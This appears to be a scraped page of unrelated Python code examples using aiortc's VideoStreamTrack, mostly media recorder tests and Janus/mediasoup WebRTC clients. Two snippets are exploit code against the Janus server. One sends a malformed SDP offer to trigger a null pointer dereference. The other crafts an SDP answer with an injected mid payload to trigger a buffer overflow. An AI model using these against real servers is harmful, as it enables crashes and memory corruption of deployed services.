def test_video_ended(self):
        track = VideoStreamTrack()

        recorder = MediaBlackhole()
        recorder.addTrack(track)
        run(recorder.start())
        run(asyncio.sleep(1))
        track.stop()
        run(asyncio.sleep(1))

        run(recorder.stop())
Exemple #2
0
    def __init__(self, uri, player=None, recorder=MediaBlackhole()):
        self._uri = uri
        self._player = player
        self._recorder = recorder
        # Save answers temporarily
        self._answers = {}
        self._websocket = None
        self._device = None

        self._tracks = []

        if player and player.audio:
            audioTrack = player.audio
        else:
            audioTrack = AudioStreamTrack()
        if player and player.video:
            videoTrack = player.video
        else:
            videoTrack = VideoStreamTrack()

        self._videoTrack = videoTrack
        self._audioTrack = audioTrack

        self._tracks.append(videoTrack)
        self._tracks.append(audioTrack)

        self._sendTransport: Optional[Transport] = None
        self._recvTransport: Optional[Transport] = None

        self._producers = []
        self._consumers = []
        self._tasks = []
        self._closed = False
Exemple #3
0
async def publish(plugin, player):
    """
    Send video to the room.
    """
    pc = RTCPeerConnection()
    pcs.add(pc)

    # configure media
    media = {"audio": False, "video": True}

    if player:
        print("Play")
        pc.addTrack(player)
    else:
        pc.addTrack(VideoStreamTrack())

    # send offer
    await pc.setLocalDescription(await pc.createOffer())
    request = {"request": "configure"}
    request.update(media)
    response = await plugin.send({
        "body": request,
        "jsep": {
            "sdp": pc.localDescription.sdp,
            "trickle": False,
            "type": pc.localDescription.type,
        },
    })

    # apply answer
    await pc.setRemoteDescription(
        RTCSessionDescription(sdp=response["jsep"]["sdp"],
                              type=response["jsep"]["type"]))
 def test_audio_and_video(self):
     recorder = MediaRecorder(path='foo.mp4')
     recorder.addTrack(AudioStreamTrack())
     recorder.addTrack(VideoStreamTrack())
     recorder.start()
     run(asyncio.sleep(2))
     recorder.stop()
 def test_audio_and_video(self):
     recorder = MediaBlackhole()
     recorder.addTrack(AudioStreamTrack())
     recorder.addTrack(VideoStreamTrack())
     run(recorder.start())
     run(asyncio.sleep(2))
     run(recorder.stop())
 def test_audio_and_video(self):
     recorder = MediaRecorder(self.temporary_path('test.mp4'))
     recorder.addTrack(AudioStreamTrack())
     recorder.addTrack(VideoStreamTrack())
     run(recorder.start())
     run(asyncio.sleep(2))
     run(recorder.stop())
Exemple #7
0
async def join_room(room):
    consumers = []

    # fetch room parameters
    async with aiohttp.ClientSession() as session:
        async with session.post('https://appr.tc/join/' + room) as response:
            # we cannot use response.json() due to:
            # https://github.com/webrtc/apprtc/issues/562
            data = json.loads(await response.text())
    assert data['result'] == 'SUCCESS'
    params = data['params']

    # create peer conection
    pc = RTCPeerConnection()
    pc.addTrack(AudioStreamTrack())
    pc.addTrack(VideoStreamTrack())

    @pc.on('track')
    def on_track(track):
        if track.kind == 'audio':
            consumers.append(asyncio.ensure_future(consume_audio(track)))
        elif track.kind == 'video':
            consumers.append(asyncio.ensure_future(consume_video(track)))

    # connect to websocket and join
    signaling = Signaling()
    await signaling.connect(params)
    await signaling.send({
        'clientid': params['client_id'],
        'cmd': 'register',
        'roomid': params['room_id'],
    })

    if params['is_initiator'] == 'true':
        # send offer
        await pc.setLocalDescription(await pc.createOffer())
        await signaling.send_message(description_to_dict(pc.localDescription))
        print('Please point a browser at %s' % params['room_link'])

    # receive 60s of media
    try:
        await asyncio.wait_for(consume_signaling(signaling, pc, params),
                               timeout=60)
    except asyncio.TimeoutError:
        pass

    # shutdown
    print('Shutting down')
    await signaling.send_message({'type': 'bye'})
    for c in consumers:
        c.cancel()
    await pc.close()
Exemple #8
0
async def run(pc, player, room, session):
    await session.create()

    # configure media
    media = {"audio": False, "video": True}
    if player and player.audio:
        pc.addTrack(player.audio)
        media["audio"] = True

    if player and player.video:
        pc.addTrack(player.video)
    else:
        pc.addTrack(VideoStreamTrack())

    # join video room
    plugin = await session.attach("janus.plugin.videoroom")
    await plugin.send(
        {
            "body": {
                "display": "aiortc",
                "ptype": "publisher",
                "request": "join",
                "room": room,
            }
        }
    )

    # send offer
    await pc.setLocalDescription(await pc.createOffer())
    request = {"request": "configure"}
    request.update(media)
    response = await plugin.send(
        {
            "body": request,
            "jsep": {
                "sdp": pc.localDescription.sdp,
                "trickle": False,
                "type": pc.localDescription.type,
            },
        }
    )

    # apply answer
    answer = RTCSessionDescription(
        sdp=response["jsep"]["sdp"], type=response["jsep"]["type"]
    )
    await pc.setRemoteDescription(answer)

    # exchange media for 10 minutes
    print("Exchanging media")
    await asyncio.sleep(600)
    async def trigger_sdp_parsing(self,
                                  name='konata',
                                  plugin_name='janus.plugin.videocall'):
        session = JanusSession(self.url, name)
        await session.create()
        self.log_success('session created')

        plugin = await session.attach(plugin_name)
        self.log_success('attached to {} plugin'.format(plugin_name))

        pc = RTCPeerConnection()
        pc.addTrack(VideoStreamTrack())
        await pc.setLocalDescription(await pc.createOffer())

        self.log_info(
            'trying to trigger null pointer dereference at janus_sdp_process')

        sdp = '\n'.join([
            'v=-1',
            'o=aaaa 0 0 IN IP6 cccc',
            's=aaaa',
            't=1 2',
            'c=IN IP4 dddd',
            'a=fingerprint',
            'm=audio 1 ffff 0',
        ])
        self.log_info('malicious sdp is crafted')

        try:
            self.log_info('sending a malicious offer...')
            response = await plugin.send({
                "body": {},
                "jsep": {
                    "sdp": sdp,
                    "type": 'offer'
                }
            })
        except Exception:
            self.log_success('null dereference is triggered')
            sys.exit(0)

        answer = await session.get_answer()
        log.info('got answer: {}'.format(answer))

        await pc.setRemoteDescription(
            RTCSessionDescription(sdp=answer["sdp"], type=answer["type"]))

        await asyncio.sleep(10)
Exemple #10
0
async def run(pc, player, session):
    await session.create()

    # configure media
    media = {'audio': False, 'video': True}
    if player and player.audio:
        pc.addTrack(player.audio)
        media['audio'] = True

    if player and player.video:
        pc.addTrack(player.video)
    else:
        pc.addTrack(VideoStreamTrack())

    # join video room
    plugin = await session.attach('janus.plugin.videoroom')
    await plugin.send({
        'body': {
            'display': 'aiortc',
            'ptype': 'publisher',
            'request': 'join',
            'room': 1234,
        }
    })

    # send offer
    await pc.setLocalDescription(await pc.createOffer())
    request = {'request': 'configure'}
    request.update(media)
    response = await plugin.send({
        'body': request,
        'jsep': {
            'sdp': pc.localDescription.sdp,
            'trickle': False,
            'type': pc.localDescription.type
        }
    })

    # apply answer
    answer = RTCSessionDescription(
        sdp=response['jsep']['sdp'],
        type=response['jsep']['type'])
    await pc.setRemoteDescription(answer)

    # exchange media for 10 minutes
    print('Exchanging media')
    await asyncio.sleep(600)
    def test_video_mp4(self):
        path = self.temporary_path('test.mp4')
        recorder = MediaRecorder(path)
        recorder.addTrack(VideoStreamTrack())
        run(recorder.start())
        run(asyncio.sleep(2))
        run(recorder.stop())

        # check output media
        container = av.open(path, 'r')
        self.assertEqual(len(container.streams), 1)
        self.assertEqual(container.streams[0].codec.name, 'h264')
        self.assertGreater(
            float(container.streams[0].duration *
                  container.streams[0].time_base), 0)
        self.assertEqual(container.streams[0].width, 640)
        self.assertEqual(container.streams[0].height, 480)
Exemple #12
0
    def test_audio_and_video(self):
        path = self.temporary_path("test.mp4")
        recorder = MediaRecorder(path)
        recorder.addTrack(AudioStreamTrack())
        recorder.addTrack(VideoStreamTrack())
        run(recorder.start())
        run(asyncio.sleep(2))
        run(recorder.stop())

        # check output media
        container = av.open(path, "r")
        self.assertEqual(len(container.streams), 2)

        self.assertEqual(container.streams[0].codec.name, "aac")
        self.assertGreater(
            float(container.streams[0].duration *
                  container.streams[0].time_base), 0)

        self.assertEqual(container.streams[1].codec.name, "h264")
        self.assertEqual(container.streams[1].width, 640)
        self.assertEqual(container.streams[1].height, 480)
        self.assertGreater(
            float(container.streams[1].duration *
                  container.streams[1].time_base), 0)
 def test_video_jpg(self):
     recorder = MediaRecorder(path='foo-%3d.jpg')
     recorder.addTrack(VideoStreamTrack())
     recorder.start()
     run(asyncio.sleep(2))
     recorder.stop()
Exemple #14
0
from pymediasoup.sctp_parameters import SctpCapabilities, SctpStreamParameters
from pymediasoup.transport import Transport
from pymediasoup.models.transport import DtlsParameters
from pymediasoup.producer import Producer
from pymediasoup.data_producer import DataProducer
from pymediasoup.data_consumer import DataConsumer
from pymediasoup.errors import UnsupportedError
from pymediasoup.consumer import Consumer

from .fake_parameters import generateRouterRtpCapabilities, generateTransportRemoteParameters, generateConsumerRemoteParameters, generateDataProducerRemoteParameters, generateDataConsumerRemoteParameters
from .fake_handler import FakeHandler

logging.basicConfig(level=logging.DEBUG)

audioTrack = AudioStreamTrack()
videoTrack = VideoStreamTrack()
TRACKS = [videoTrack, audioTrack]


class TestMethods(unittest.IsolatedAsyncioTestCase):
    def test_create_device(self):
        device = Device(handlerFactory=AiortcHandler.createFactory(
            tracks=TRACKS))
        self.assertEqual(device.loaded, False)

    async def test_device_load(self):
        device = Device(handlerFactory=AiortcHandler.createFactory(
            tracks=TRACKS))
        await device.load(generateRouterRtpCapabilities())
        self.assertEqual(device.handlerName, 'aiortc')
        self.assertTrue(device.loaded)
 def test_video(self):
     track = VideoStreamTrack()
     self.assertEqual(track.kind, "video")
     self.assertEqual(len(track.id), 36)
Exemple #16
0
    async def publish(self, plugin, player):
        """
        Send video to the room.
        """
        self.connection.turn_server = self.turnservers
        self.connection.turn_transport = "udp"
        self.connection.turn_username = self.username
        self.connection.turn_password = self.password
        self.connection.remote_username = self.username
        self.connection.remote_password = self.password

        # configure media
        media = {"audio": False, "video": True}
        if player and player.audio:
            self.pc.addTrack(player.audio)
            media["audio"] = True

        if player and player.video:
            self.pc.addTrack(player.video)
        else:
            self.pc.addTrack(VideoStreamTrack())

        await self.connection.gather_candidates()

        # for c in self.connection.local_candidates:
        #     c.sdpMid = '0'
        #     self.pc.addIceCandidate(c)

        # send offer
        offer = await self.pc.createOffer()
        await self.pc.setLocalDescription(offer)
        request = {"request": "configure"}
        request.update(media)
        message = {
            "janus": "message",
            "transaction": self.publish_transaction_id,
            "session_id": self.session_id,
            "handle_id": self.handle_id,
            "token": self.token
        }
        payload = {
            "body": request,
            "jsep": {
                "sdp": self.pc.localDescription.sdp,
                "type": self.pc.localDescription.type,
            },
        }
        message.update(payload)
        await self.send(json.dumps(message))

        print("getting candidates")
        for c in self.connection.local_candidates:
            data = {
                "janus": "trickle",
                "candidate": {
                    "candidate": "candidate:" + aioice.Candidate.to_sdp(c),
                    "sdpMid": "0",
                    "sdpMLineIndex": 0
                },
                "transaction": transaction_id(),
                "token": self.token,
                "session_id": self.session_id,
                "handle_id": self.handle_id
            }
            await self.send(json.dumps(data))
        completed = {
            "janus": "trickle",
            "candidate": {
                "completed": True
            },
            "transaction": self.candidates_complete,
            "token": self.token,
            "session_id": self.session_id,
            "handle_id": self.handle_id
        }
        await self.send(json.dumps(completed))
        configure = {
            "janus": "message",
            "body": request,
            "transaction": self.message_id,
            "token": self.token,
            "session_id": self.session_id,
            "handle_id": self.handle_id
        }
        await self.send(json.dumps(configure))
Exemple #17
0
async def run(pc, player, recorder, room, session):
    await session.create()

    # configure media
    media = {"audio": False, "video": True}
    if player and player.audio:
        pc.addTrack(player.audio)

    if player and player.video:
        pc.addTrack(player.video)
    else:
        pc.addTrack(VideoStreamTrack())

    # join video room
    plugin = await session.attach("janus.plugin.videoroom")
    videoroom_response = await plugin.send(
        {
            "body": {
                "display": "aiortc",
                "ptype": "publisher",
                "request": "join",
                "room": room,
            }
        }
    )

    # find out who else is in the room?
    publishers = videoroom_response['plugindata']['data']['publishers']
    for publisher in publishers:
        remote_id = publisher['id']
        remote_name = publisher['display']
        print('remote_id:', remote_id, 'name:', remote_name)

    # send offer
    await pc.setLocalDescription(await pc.createOffer())
    request = {"request": "configure"}
    request.update(media)
    response = await plugin.send(
        {
            "body": request,
            "jsep": {
                "sdp": pc.localDescription.sdp,
                "trickle": False,
                "type": pc.localDescription.type,
            },
        }
    )

    # apply answer
    answer = RTCSessionDescription(
        sdp=response["jsep"]["sdp"], type=response["jsep"]["type"]
    )
    await pc.setRemoteDescription(answer)

    # start recording from 1st remote_id participant
    if publishers != []:
        await subscribe(publishers[0]["id"], room, recorder, session)

    # exchange media for 10 minutes
    print("Exchanging media")
    await asyncio.sleep(600)
    print("--Stopped 10 minutes limit--")
    async def create_target_user_and_accept(self, targetname):
        session = JanusSession(self.url, targetname)
        await session.create()
        self.log_success('[targetuser] : session created')

        plugin = await session.attach(self.plugin_name)
        self.log_success('[targetuser] : attached to {} plugin'.format(
            self.plugin_name))

        response = await plugin.send(
            {"body": {
                "request": "register",
                "username": targetname
            }})
        self.log_success('[targetuser] : registered')

        pc = RTCPeerConnection()
        pc.addTrack(VideoStreamTrack())

        offer = await session.get_offer()
        # self.log_info("[targetuser] : got offer: {}".format(offer))

        await pc.setRemoteDescription(
            RTCSessionDescription(sdp=offer["sdp"], type=offer["type"]))
        self.log_info('[targetuser] : remote description is ready')

        await pc.setLocalDescription(await pc.createAnswer())
        self.log_info('[targetuser]: answer created')

        sdp = '\n'.join([
            "v=0",
            "o=mozilla...THIS_IS_SDPARTA-74.0 2447000379536746271 0 IN IP4 0.0.0.0",
            "s=-",
            "t=0 0",
            "a=fingerprint:sha-256 9A:9C:0E:72:47:18:43:2D:A6:61:17:94:53:73:E0:6A:D5:99:F3:8C:D5:F4:DE:0C:BA:94:61:98:4C:FC:AD:02",
            "m=video 9 UDP/TLS/RTP/SAVPF 120 121 126 97",
            "c=IN IP4 0.0.0.0",
            "a=sendrecv",
            "a=ice-pwd:0b5a4e0345d7490bf75350794acb07d6",
            "a=ice-ufrag:79a8384b",
            "a=mid:1234",
            "a=rtpmap:120 VP8/90000",
            "a=rtpmap:121 VP9/90000",
            "a=rtpmap:126 H264/90000",
            "a=rtpmap:97 H264/90000",
            "m=application 9 UDP/DTLS/SCTP webrtc-datachannel",
            "a=mid:{}".format(self.payload),
            "m=application 9 JUNKJUNK webrtc-datachann",
            "a=mid:4567",
            "m=application 9 JUNKJUNK webrtc-datachann",
            "a=mid:4567",
            "m=application 9 JUNKJUNK webrtc-datachann",
            "a=mid:4567",
            "m=application 9 JUNKJUNK webrtc-datachann",
            "a=mid:4567\n",
        ])

        try:
            self.log_info('[targetuser] : sending answer back...')
            response = await plugin.send({
                "body": {
                    "request": "accept"
                },
                "jsep": {
                    "sdp": sdp,
                    "type": pc.localDescription.type
                }
            })
            await asyncio.sleep(10)
        except Exception:
            self.log_success('[targetuser] : bof is triggered')
Exemple #19
0
 def test_video_png(self):
     recorder = MediaRecorder(self.temporary_path('test-%3d.png'))
     recorder.addTrack(VideoStreamTrack())
     run(recorder.start())
     run(asyncio.sleep(2))
     run(recorder.stop())